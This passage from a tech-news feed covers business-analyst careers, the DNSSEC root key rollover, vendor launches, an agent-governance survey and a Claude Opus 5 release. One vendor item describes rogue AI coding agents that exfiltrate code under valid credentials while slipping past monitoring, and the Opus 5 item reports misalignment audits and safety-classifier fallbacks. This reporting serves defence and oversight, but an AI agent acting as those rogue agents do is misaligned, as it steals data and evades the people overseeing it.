BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.



According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.



Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  



The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.



Business analyst skills



The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.



Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.



According to the IIBA, some of the most important skills and experience for a business analyst are:




Oral and written communication skills



Interpersonal, organizational, facilitation, and consultative skills



Analytical thinking and problem solving



Being detail-oriented and able to deliver a high level of accuracy



Knowledge of business structure



Stakeholder and cost-benefit analysis



Processes modeling



Understanding networks, databases, and other technologies




For a more in-depth look at what it takes to succeed as a business analyst, click here.



Business analyst salary



The average annual salary for an IT business analyst is $80,692, according to data from PayScale. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.



Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:



Skills Salary Boost
ScrumMaster 44%
Microsoft Azure 30%
Supply Chain 27%
Oracle eBusiness Suite 25%
Master Data Management (SAP MDM) 24%
SAP Sales and Distribution (SAP SD) 24%
Product Support 18%
Microsoft Dynamics GP 18%
SAP Quality Management (SAP QM) 18%
Workday Software 15%
 



For tips on boosting your salary, click here.



Business analyst certifications



Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:




IIBA Entry Certificate in Business Analysis (ECBA)



IIBA Certification of Competency in Business Analysis (CCBA)



IIBA Certified Business Analysis Professional (CBAP)



IIBA Agile Analysis Certification (AAC)



IQBBA Certified Foundation Level Business Analyst (CFLBA)



IREB Certified Professional for Requirements Engineering (CPRE)



PMI Professional in Business Analysis (PBA)



Certified Analytics Professional (CAP)




For more information about how to earn one of these certifications — and how much they cost — click here.



Business analytics tools and software



BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.



CIOs beware: DNS KSK rollover could kick off wave of mysterious outages
Sat, 25 Jul 2026 06:16:22 +0200

		
					  
						




Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.



That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely to deliver a series of seemingly unrelated system outages. This will come from oceans of dependencies from third-party, shadow, agentic, gen AI, SaaS, homegrown, and legacy apps — among many other quiet executable hiding spots, including virtual environments and containers.



Sai Joshitha Kathari, senior site reliability engineer at payment card giant Visa, says most enterprises have far more DNS-related exposure than they realize because of these many dependencies.



“This has the potential to create real downstream destruction when unresolved failures sit underneath important business functions,” Kathari says. 



The danger is that so many of these issues are either unknown to IT or handled by a third-party vendor and no one in IT has had reason to ask those vendors about DNS updates. 



“The risky areas are usually not the obvious managed DNS services. They are the older internal applications, hardcoded resolvers, containerized workloads, sidecar configurations, custom scripts, partner integrations, VM images, stale base images, and service-to-service dependencies that nobody has touched in a long time,” Kathari explains. “These systems can keep working quietly for years, then fail during a DNS or certificate-related change because they bypassed the normal platform standards.”



Independent technology analyst Carmi Levy says that CIOs need to take this event very seriously. 



“The two-pronged deadline — October 11, 2026, when the new Key Signing Key (KSK) begins signing the root zone, and January 11, 2027, when the old key is retired — should be marked in red on everyone’s calendar, just as December 31, 1999, once was,” Levy says. “Failure to comply could result in websites, critical business applications, and related resources dropping off the face of the Earth once the transition is complete.”



Levy adds: “Custom-built code that lives outside conventional support mechanisms may or may not function when the DNS changes go into effect.”



The DNSSEC update itself is straightforward, but it is also the first significant DNSSEC change — specifically a change in the trust anchor — since 2018. 



The rollout statement noted that “the trust anchor is formally known as the Domain Name System Security Extensions (DNSSEC) root zone Key Signing Key (KSK). The KSK is the cryptographic key at the core of the DNSSEC trust anchor and is used to verify that DNS responses are legitimate and have not been modified in transit.”



Expect nearly every enterprise to be impacted



Kim Davies, vice president of IANA Services and president of public technical identifiers at ICANN, says the extent of the impact on enterprises is unknowable, given the nature of shadow IT and other edge cases. 



But based on the massive number of dependencies both known and unknown in the typical global enterprise, Davies guesses that just about every enterprise will be impacted, to varying degrees. 



“In highly complex organizations, it is very likely there will be some impact in the corners, in the margins, of the organization,” Davies tells CIO. “DNS is such a core technology that underpins everything.”



As the updates propagate, hiccups will materialize, Davies notes. “When the system cannot validate the [DNS] information, it will treat it as suspect and DNS lookups will fail.”



Visa’s Kathari says, “Enterprises should expect some secondary DNS-related glitches when major DNSSEC-related changes happen, not necessarily because the core infrastructure teams will ignore the update, but because large environments have many hidden dependency paths.”



Making this problem far worse, Kathari notes, is that the glitches will likely initially look like anything other thana DNS glitch. That will force IT staff to waste a vast number of hours chasing causes that ultimately prove to be unrelated to the incidents. 



“The impact for CIOs is that DNS failures rarely announce themselves as DNS failures. They look like application timeouts, broken logins, failed API calls, queue lag, payment failures, partner connectivity issues, or random regional instability,” Kathari explains. “That makes troubleshooting slower because teams may spend hours looking at the application, database, network, or cloud provider before realizing name resolution is part of the failure path.”



Sanchit Vir Gogia, chief analyst at Greyhound Research, agrees that IT will likely spin its wheels chasing the wrong ghosts.



“A validation failure rarely stays in its lane. It surfaces as an application error, an API timeout, or a reachability problem, which turns a resolver fault into a coordination failure,” Gogia says. “The application team blames the network, the network team blames the cloud, and the user simply watches work stop.”



“Images and templates are the frontier most teams miss,” Gogia adds. “A resolver fixed in summer can be broken again in October the instant a stale golden image is redeployed, because automation no longer lets configuration drift slowly. It restores yesterday’s assumptions at machine speed.”



It is widely expected that enterprises will not have any problems executing the change or, more likely, relying on their hyperscalers to properly handle the change. That is the concern. 



“CIOs are being distracted so much with AI and this is such a deep in the weeds infrastructure issue that this can and willcatch people off-guard,” Justin Greis, CEO of consulting firm Acceligence, tells CIO. “I think we’ll see a meaningful number of enterprise disruptions associated with the DNSSEC trust anchor rollover. Not because the update itself is especially difficult, but because it will expose weaknesses that already exist inside many organizations.”



Most enterprise IT operations have had no reason to compile a comprehensive list of all DNS dependencies, but many will be instantly discovered in January. 



Potentially widespread fallout



A major retailer, for example, might suddenly be unable to connect with FedEx to arrange for deliveries or a hospital may find that test results are no longer being shared with patient portals. It might manifest as an assembly line that halts because an IIoT component can no longer share files with its vendor system or a truck fleet that stops being tracked. 



“There will almost certainly be systems that fall through the cracks. Some will be legacy applications that rely on outdated DNS configurations that have not been updated in years,” Greis says. “Others will be business-unit-developed tools, contractor-built solutions, embedded systems, manufacturing and industrial systems, or highly customized workloads that operate outside normal IT oversight. These are the types of systems that often surface during infrastructure events like this.”



Greis adds that many enterprises will discover in January problems created by their own automation.



“Over time, enterprises build layers of processes, templates, and deployment mechanisms that are reused across teams and environments,” Greis notes. “Even after DNS infrastructure is updated correctly, older settings can inadvertently be reintroduced through routine updates and system changes, creating intermittent and difficult-to-diagnose failures.”



The good news from this situation is that enterprises are not going to likely lose all DNS access if any of these glitches occur. But that may be of no comfort because even if the disruptions are only with small edge cases, that can still cause massive operational disruptions.



Cricket Liu, EVP and chief evangelist at Infoblox, gives the example of a DNS server that responds to factory-floor system queries.



“Or let’s say this disrupts [an enterprise’s key] SaaS application. All name resolution may stop and it will show a server failure. It will not deliver a response whenever I look anything up. That’s not subtle at all,” Liu says. “It’s highly likely that companies are going to see some effects.”



Back in 2017, the switchover was relatively uneventful, giving some CIOs hope that January 2027 will also be a non-event. But given the technology advancements in the last 10 years and the resulting tidal wave of new enterprise tech dependencies, few are realistically expecting no problems this go around. 



Impossible to predict what will happen



One of the top network experts on DNS effects in enterprises is Geoff Huston, chief scientist at the Asia Pacific Network Information Centre (APNIC), the regional Internet Registry administering IP addresses for the Asia Pacific region.



Huston says it is difficult to project what will happen in January until it happens.



“Just like the last time, we are flying blind with this key roll. Because nothing really terrible happened last time, there is some confidence that nothing terrible will happen this time, but we just can’t tell in advance as there are no good measurement approaches that allow us to peek inside the trust state of recursive resolvers,” he says.



As for potential edge-case glitches, Huston says it is possible, but if third-party vendors do not properly handle the update, there will be other issues as well, as the KSK cryptographic key used within DNSSEC signs and validates the keys that protect DNS records. 



“If it is not standards-compliant, then you have more problems than just the KSK roll,” Huston says, “as it raises the obvious question of ‘What else is not correctly implemented in the DNS resolver that I’m running?’”



As a silver lining, Acceligence’s Greis says any hiccups that result from the DNS KSK update may be a gift in disguise for CIOs. 



“The irony is that some of the most business-critical components in the technology stack are often the least visible because they work in the background,” Greis says. January “may reveal how much modern business resilience depends on infrastructure that many organizations rarely examine until something breaks. For CIOs, that’s the real lesson. This is not fundamentally a story about a DNS update. It is a story about operational visibility, resilience, and governance. Organizations that treat the rollover as a routine infrastructure task will likely complete the update and move on. Organizations that use it as an opportunity to understand and strengthen the foundations of their technology environment may gain far more value than simply avoiding an outage.”



Atos launches sovereign cloud service to power comeback
Sat, 25 Jul 2026 06:13:49 +0200

		
					  
						




Atos has launched a new sovereign cloud platform aimed squarely at European public sector bodies, healthcare providers and defense organizations. It’s the latest effort by European companies in their fight back against US dominance.



Atos Sovereign Cloud offers a range of controls for data management, providing customers with resilience and full control over their data, complying with existing European legislation on data residency.



“Digital sovereignty has become a global operational priority for organizations that need to manage dependencies, jurisdictional exposure and disruption risks across complex digital environments. Atos Sovereign Cloud gives customers a practical way to apply sovereign controls to their most critical workloads, while preserving flexibility, resilience and the ability to innovate securely,” said Michael Kollar, Atos Group digital sovereignty leader.



There has been a concerted effort by European organizations to meet US competition head-on. Earlier this month, four companies signed up to the certification program introduced by the European cloud body, CISPE,



This is the latest effort by Atos to get the company back on track. In April, it sold its supercomputer company, Bull to the French government, after a previous attempt in 2024 to sell off its computer services division and after a refinancing deal in the same year.



The company implemented a further round of refinancing this year and in its half-yearly report claimed that this was an “important milestone” in securing the company’s future. However, in its first-quarter results revenue showed an organic decline of 11 percent, so any projected growth may be some time in the future. Whether its Sovereign Cloud offering is the harbinger of the revival remains to be seen.







Should you use AI for a task? Here’s a simple way to decide | Bruce Schneier
Sat, 25 Jul 2026 06:11:43 +0200
Sometimes, what matters isn’t your output but what you put into the process. Think of it like work v the gym
I teach public policy at the Harvard Kennedy School and the Munk School at the University of Toronto. And it will come as no surprise to you that my students regularly use AI to complete their writing assignments. Doing so is a waste of their tuition money. But if their entire career is going to include AI writing assistants, why shouldn’t they embrace their future?
The best way I’ve found to explain the dilemma comes from the AI researcher Daniel Meissler: it’s the difference between work and the gym.
 Continue reading...


Install InputPlumber on Linux: The Complete Input Remapping Guide
Sat, 25 Jul 2026 02:09:35 +0200
InputPlumber is an open source input routing daemon for Linux. Learn how to install it on Arch, Fedora, and Ubuntu, configure YAML profiles, combine multiple gamepads into one device, and remap buttons system-wide.


Distribution Release: StartOS 0.4.0
Sat, 25 Jul 2026 01:45:40 +0200
The DistroWatch news feed is brought to you by TUXEDO COMPUTERS.  Aiden McClelland has announced the release of a major new version of StartOS, a Debian-based Linux distribution optimised for personal servers, available for AArch64, riscv64 and x86_64 architectures: "Version 0.4.0 is a complete rewrite of StartOS. After six years of building, we believe we have arrived at the....


5 endpoint blind spots your EDR/XDR was never built to see
Sat, 25 Jul 2026 00:18:11 +0200

		
					  
						




In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.



That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.



This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.



To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.



#1. Gain real-time visibility into shadow AI & extensions



Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the MaliciousCorgi campaign, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.



#2. Distinguish between human and autonomous agent behavior 



When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.



#3. Establish guardrails for automated package updates on endpoints



Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.  



#4. Enforce principle of least privilege for AI agents



AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.



#5. Maintain continuous endpoint posture management



Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the DarkSpectre campaign found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.



Summary



Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity. 



Ready to secure the future of your software stack? See how Koi Agentic Endpoint Security delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.











Friday Squid Blogging: Illex Squid Catch in the Falklands
Fri, 24 Jul 2026 23:13:38 +0200
Lower catch this year.
As usual, you can also use this squid post to talk about the security stories in the news that I haven’t covered.
Blog moderation policy.


VentureBeat Research: Where enterprise AI agent governance hasn't caught up
Fri, 24 Jul 2026 22:51:31 +0200
Enterprises deployed AI agents ahead of the controls needed to manage them — and they did it knowingly. That is the central finding across the five parallel surveys VentureBeat Research fielded in June, spanning every layer of the agentic stack. Now those enterprises are retrofitting to catch up with their own standards, and they are budgeting for it: In each of the five control layers we measured, 57 to 68% of enterprises plan to switch vendors or add new ones within 12 months, and roughly a third, depending on the layer, plan to move within the quarter.
VentureBeat Research measured the five controls an enterprise has to build before it can trust an agent: identity, evaluation, cost telemetry, the context layer, and orchestration. Identity governs which agent is allowed to do what, under whose credentials. Evaluation determines whether the agent's work is any good. Cost telemetry tracks what each agent costs to run. The context layer supplies the business data and definitions agents draw on when they answer. And the orchestration control plane coordinates multi-step agent work. Each of our five reports measures one of those controls.
Most deployed "agents" are chatbots wearing the label. Seventy-one percent of enterprises said a quarter or fewer of their deployed "agents" can complete multi-step work on their own; only 10% said true agents are the majority of what they run. These respondents are positioned to know: 81% recommend or decide AI purchases at their companies. A single-prompt chatbot with a human reading every answer needs none of the controls the other four reports measure. A true multi-step agent needs all of them — and most enterprises can't say which one they've deployed. (Full findings: Agentic Orchestration report.)
Autonomy is outrunning trust in the evaluations that gate it. Two-thirds of enterprises either already allow an agent to push a code or system change to production on automated evaluation results alone, with no human review, or are actively engineering toward that within 12 months. Only 5% fully trust the evaluations that would make that call — and half of enterprises shipped an agent that passed internal evaluations and then caused a customer-facing failure in the past year. Before removing human review from any workflow, test evaluations against production outcomes rather than internal benchmarks. (Full findings: Agent Reliability & Evals report.)
Companies that let agents share credentials get hit more often. Sixty-nine percent of companies let at least some of their agents share credentials — multiple agents operating under one API key or service account. Organizations that allow credential sharing anywhere experienced a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (nine of 22) at companies where every agent has its own scoped identity. The fix is scoped identity for every agent, starting with the ones that touch production systems. (Full findings: Agentic Security & Identity report.)
The most expensive hardware in the building runs at half capacity or less. More than eight in 10 enterprises that run their own GPUs reported utilization of 50% or less, and only 44% rigorously track what their AI compute actually costs and returns. The number worth chasing first isn't more GPUs — it's the utilization and per-workload cost of the ones already running. (Full findings: AI Infrastructure & Compute report.)
Agents answer confidently from data nobody governs. Fifty-seven percent of enterprises traced a confident, wrong agent answer in the past six months to their own missing or inconsistent business context — wrong metrics, stale definitions, absent documents — and most saw it happen more than once. Governing the definitions agents answer from — metrics and entities first — has to come before scaling the agents that depend on them. (Full findings: Context Layers / RAG report.)
No layer has an entrenched incumbent: The defaults today are the built-in tools that ship with the big AI platforms enterprises already use. Switching intent runs highest in orchestration itself, where 68% plan to adopt, add, or replace platforms within 12 months and 34% within the quarter. Our surveys did not ask which direction that money moves — toward the platforms' built-in tools or toward the specialists challenging them — and that open question is the next four quarters of this market.
About this research 
VentureBeat Research fielded five parallel surveys in June 2026 under its VB Pulse program: Agentic Orchestration (101 respondents), Agent Reliability & Evals (157), Agentic Security & Identity (107), AI Infrastructure & Compute (107), and Context Layers / RAG (101) — 573 qualified respondents in total, all at organizations with 100 or more employees. Samples are self-selected, and some findings should be read directionally; each report carries its full methodology note. What the pattern supports more strongly than any single percentage is the direction: every survey, independently, points the same way. VentureBeat produces both this research and VB Transform, the conference where these reports debuted.


A Complete Guide to Fidelis EDR Agents and Their Core Security Roles
Fri, 24 Jul 2026 22:38:07 +0200
Learn how Fidelis EDR agents detect, investigate, and respond to threats with real-time telemetry, automation, and endpoint visibility.
The post A Complete Guide to Fidelis EDR Agents and Their Core Security Roles appeared first on Fidelis Security.


Amazon confirms it’s closing key AI site in San Francisco but says work on its top models continues
Fri, 24 Jul 2026 22:19:52 +0200

Amazon is closing its San Francisco AGI site as part of the layoffs it made this week in its artificial general intelligence organization, but said its frontier model research lab will continue. Read More


Google Workspace Weekly Recap - July 24, 2026
Fri, 24 Jul 2026 21:50:50 +0200
Import and create combo charts in Google Sheets
Google Sheets now offers enhanced support for combo charts, providing a more seamless experience when creating multi-series visualizations. | Learn more.
A centralized hub for meeting resources on the new Google Meet homepage
Finding the right notes or attachments for a meeting shouldn't feel like a scavenger hunt. We’re introducing a revamped Google Meet homepage on the web to help you stay organized and prepared throughout your entire meeting workflow. | Learn more.
Redesigned Google Classroom homepage with tailored views based on user’s role
Soon, Google Classroom will introduce a redesigned homepage globally across all editions to help teachers, students, and administrators easily find relevant content, resources, and tools tailored to their specific roles. | Learn more.
Gemini Alpha is now Gemini Beta
We’re updating the name of the Gemini Alpha program to "Gemini Beta." This new name more accurately reflects both the scale and the quality of the features that enter this launch stage. Please note that this is solely a branding change. This update does not alter any customer configurations, data privacy constraints, or pricing tiers. | Learn more.
Google Meet now organizes your meeting notes, transcripts, and recordings in your Google Drive
We’re making it easier for users to find meeting notes, transcripts and recordings in Google Drive. | Learn more.
View supporting calendar delegates in meeting guest list
When viewing a guest list in Google Calendar on the web, you will now see a new icon next to leaders who have a calendar delegate assisting them with scheduling support. Hovering over the icon will display the person’s information, allowing you to easily initiate a chat with them directly. | Learn more.
The announcements above were published on the Workspace Updates blog over the last week. Please refer to the original blog posts for complete details.


This Apple-1 auction expected to cost the winner as much as 275 iPhone 17 Pros
Fri, 24 Jul 2026 20:48:38 +0200
A working 1977 Apple-1 expected to garner at least $300,000 leads RR Auction's sprawling sale of rare hardware, prototypes, and Steve Jobs memorabilia from Apple's earliest years.

The 'Neumark' Apple-1 - 'Byte Shop'-Style. Image credit: RR Auctions

The Apple-1 comes from Apple's second batch of 50 machines, according to the auction house. Known as the "Neumark" computer, it sits inside a modified Smith-Corona typewriter case and was restored to working condition by Apple-1 specialist Corey Cohen in June 2026.

Apple sold the Apple-1 as an assembled circuit board rather than a complete consumer computer, so buyers had to add the other components and an enclosure themselves. The Neumark machine stands out because it still works inside the suitcase. The auction also includes surviving documentation.

RR Auction's estimates aren't guarantees of what buyers will pay. Final prices will depend on how much competition each lot attracts before the sale closes.


 Continue Reading on AppleInsider | Discuss on our Forums


Facebook Launches Free Verified Badge to Confirm Real Users
Fri, 24 Jul 2026 20:20:30 +0200
Meta has announced Facebook Verified, a free badge that confirms a Facebook profile belongs to a real person rather than an AI-generated fake. The feature uses selfie verification and will first appear across Marketplace, Dating, Groups, and personal profiles.



Users must record a short video selfie, which Meta compares with their existing profile photos to confirm a match. The process usually takes a few minutes, and users only need to complete it once before the badge appears across supported parts of Facebook.



Who Can Get Facebook Verified?



Facebook Verified is available to eligible users aged 18 or older who follow Meta’s Community Standards and show no signs of fraud, scams, deceptive activity, or fake behaviour. Pages and ProMode accounts cannot use the feature because Meta has designed it specifically for personal profiles.



The badge gives users a visible sign that a profile has completed identity verification, especially when they view Marketplace listings, dating profiles, or Group members. However, the badge does not mean Facebook endorses the person or guarantees that every interaction will be safe.



Facebook Verified is separate from the paid Meta Verified subscription, which includes account support and impersonation protection. Meta is rolling out the free badge in select markets first and plans to expand it globally over time.


CVE-2024-36013 | Linux Kernel up to 6.8.x Bluetooth instrumented.h l2cap_connect use after free (4d7b41c0e439 / Nessus ID 207884)
Fri, 24 Jul 2026 20:19:43 +0200
A vulnerability categorized as critical has been discovered in Linux Kernel up to 6.8.x. This impacts the function l2cap_connect in the library include/linux/instrumented.h of the component Bluetooth. The manipulation results in use after free.

This vulnerability is reported as CVE-2024-36013. The attacker must have access to the local network to execute the attack. No exploit exists.

It is advisable to upgrade the affected component.


Anthropic launches Claude Opus 5, a cheaper AI model for coding, agents and enterprise workflows
Fri, 24 Jul 2026 20:10:11 +0200
Anthropic released Claude Opus 5 on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude Fable 5 at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.
The model, available immediately on all of Anthropic's platforms, is priced at $5 per million input tokens and $25 per million output tokens, unchanged from its predecessor, Opus 4.8. It becomes the new default model on Claude Max, Anthropic's premium consumer tier, and the strongest model available on Claude Pro.
The positioning is deliberate. Anthropic is not claiming Opus 5 is its smartest model — that distinction still belongs to Fable 5, and rival systems retain an edge in certain domains. Instead, the company is making a subtler argument that may matter more to enterprise buyers: that the most economically important AI work happens in a middle band of difficulty, where near-frontier intelligence delivered efficiently and cheaply beats frontier intelligence delivered expensively.
"Opus 5 as your daily driver, the model you hand complex work to and review when it's done," an Anthropic spokesperson said in an interview with VentureBeat, describing how the company's lineup now stratifies. "Fable 5 for your most ambitious work, the days-long autonomous projects nothing could take on before... Sonnet 5 for work you run at scale, where speed and cost per call decide what ships. Haiku 4.5 for subagents and instant answers."
How Claude Opus 5 benchmark results stack up against Fable 5 and rival AI models
On paper, the results are striking. Anthropic says Opus 5 sets new state-of-the-art marks on coding and knowledge-work evaluations including Frontier-Bench and GDPval-AA. On Frontier-Bench v0.1, an agentic terminal coding benchmark, Opus 5 scores 43.3 percent — more than double Opus 4.8's 18.7 percent and well ahead of Fable 5's 33.7 percent — at a lower cost per task, according to the company. On ARC-AGI 3, an evaluation of novel problem-solving, Anthropic reports Opus 5 scored three times as high as the next best model. On OSWorld 2.0, a computer-use benchmark, the company says the model surpasses Fable 5's best result at just over a third of the cost.
The numbers come with honest caveats that are themselves notable in an industry prone to superlatives. Anthropic acknowledges Opus 5 remains behind Mythos 5, a competing model, on cybersecurity tasks and biology research, and an OpenAI-family model still leads on one agentic coding benchmark.
The more revealing caveat came from Anthropic itself, when asked where Opus 5 still falls short of Fable 5. The spokesperson's answer amounted to a candid admission about what benchmarks do and don't capture.
"The evals where Opus 5 wins are bounded tasks with a specific outcome, which is where it's strongest. What those evals don't measure is duration," the spokesperson told VentureBeat. "One way to put it: Opus 5 is the best tool for the jobs benchmarks can see, and Fable 5 is what you reach for when the job outruns the benchmark."
Fable 5, by contrast, "is for the longest, most autonomous jobs, where the model has to stay coherent across many connected steps over hours or days with dense source material," the spokesperson said, advising customers to "run both on a representative workload, one bounded task and one long-horizon job." That framing — bounded tasks versus long-horizon autonomy — may become the defining axis of model differentiation in 2026, as benchmarks saturate and the hardest remaining problems involve sustained, multi-day agentic work rather than discrete puzzles.
Why token efficiency is becoming the real battleground for enterprise AI spending
Threaded through the launch is a theme Anthropic clearly wants buyers to absorb: Opus 5 doesn't just score well, it scores well per dollar. The model ships with an adjustable "effort" setting that lets customers trade intelligence for speed and token savings, and Anthropic's charts emphasize performance at a given cost rather than peak performance alone.
Early customers echoed the point with unusual specificity. Harvey, the legal AI company, said Opus 5 achieved similar performance to Opus 4.8's maximum-reasoning mode "while generating 26% fewer tokens on average," according to Niko Grupen, its head of applied research. Richard Pham of Fundamental Research Lab said that on hard financial-modeling tasks, the model averaged nine percentage points higher accuracy "while using roughly one-third fewer turns and tool calls and 60% less time."
Wade Foster, chief executive of Zapier, said Opus 5 topped his company's AutomationBench leaderboard "without spending more tokens than prior Claude models," running a full churn-prevention workflow from start to finish. "Previous models didn't pass; Opus 5 hit 100%," he said. Scott Wu, chief executive of Cognition, the company behind the Devin coding agent, said that on FrontierCode 1.1, "Claude Opus 5 approaches Fable-level performance at half the cost," with particular strength in debugging and root-cause analysis.
The efficiency emphasis reflects commercial reality. Enterprise AI spending is no longer experimental, and inference costs — the price of actually running these models at scale — have become a board-level line item. 
Anthropic's business skews heavily toward API and enterprise usage; according to a February 2026 analysis by Contrary Research, Claude held roughly 40 percent of the enterprise large language model market by usage as of late 2025, and Claude Code alone had reached about $1 billion in annualized revenue. For a company whose customers pay by the token, a model that does more with fewer tokens is not a nice-to-have. It is the product.
Self-verifying AI agents and what they mean for the hidden costs of automation
Beyond the numbers, Anthropic is selling a behavioral story: that Opus 5 verifies its work and iterates until it succeeds. The company offered several examples from testing that read like small parables of machine stubbornness.
In one Frontier-Bench task, the model was asked to reconstruct a machine part as a 3D CAD model from a drawing it was intentionally given no way to view. Rather than fail, Anthropic says, Opus 5 wrote its own computer vision pipeline to extract the geometry from raw pixels — and did so repeatedly, while no competing model solved the task in five attempts. In another case, given a real bug in a popular open-source package manager, the model found the root cause and fixed an edge case the community's own patch had missed; a competing model patched only the symptom and declared victory. An engineer at a trading firm, the company says, used Opus 5 to build a market data feed for a new exchange in a single session and, finding no live feed to validate against, watched the model build its own test harness to check its parsing code.
Customers described similar behavior in the wild. Cristian Rivera, a staff software engineer at Stripe, said he gave the model "a chief-of-staff role over my dev environments" for a weekend: "it built its own monitor, drove each box, and pulled me in only for the judgment calls."
This is the capability enterprises actually care about, and it is worth dwelling on why. The gap between a model that produces plausible output and one that verifies its output is the gap between a demo and a deployable system. Most of the hidden cost of enterprise AI today is human review — engineers checking the machine's work. A model that reliably checks its own work compresses that cost, which is precisely why customers keep citing fewer turns, fewer passes, and less time rather than higher raw scores.
Inside Anthropic's safety strategy: capability gaps, classifiers, and model fallbacks
The launch also showcases Anthropic's increasingly intricate approach to safety — one that now involves deliberately not teaching its models certain skills. The company says its automated behavioral audit found Opus 5 to be its most aligned model to date, scoring 2.3 on overall misaligned behavior, lower than Opus 4.8, Sonnet 5, or Fable 5, with the lowest rates of deceptive behavior and the least susceptibility to being tricked into misuse.
On the capability side, Anthropic says it intentionally avoided training Opus 5 on cyber tasks, as it did with Opus 4.8. The model improved on them anyway — a side effect of general capability gains — and now nearly matches Mythos 5 at finding software vulnerabilities. But it remains far behind at exploiting them: on Anthropic's OSS-Fuzz evaluation, Opus 5 identified vulnerabilities at a 79.4 percent rate, close to Mythos 5's 80 percent, but succeeded at developing exploits in only 4 challenges versus Mythos 5's 13. That asymmetry — strong at defense-relevant discovery, weak at offense-relevant exploitation — appears to be by design, and the safeguards follow the same logic. Anthropic expects Opus 5's cyber classifiers to intervene about 85 percent less often than Fable 5's.
When a classifier does trigger, requests in Claude.ai, Claude Code, and Claude Cowork fall back to Opus 4.8 by default — raising an obvious question: if a request is too risky for one model, why is it acceptable for another? "The model it falls back to has lower capability levels making the risk of harmful use lower as well," the spokesperson said, adding that "there is a message that lets the user know when this occurs and is visible in the chat."
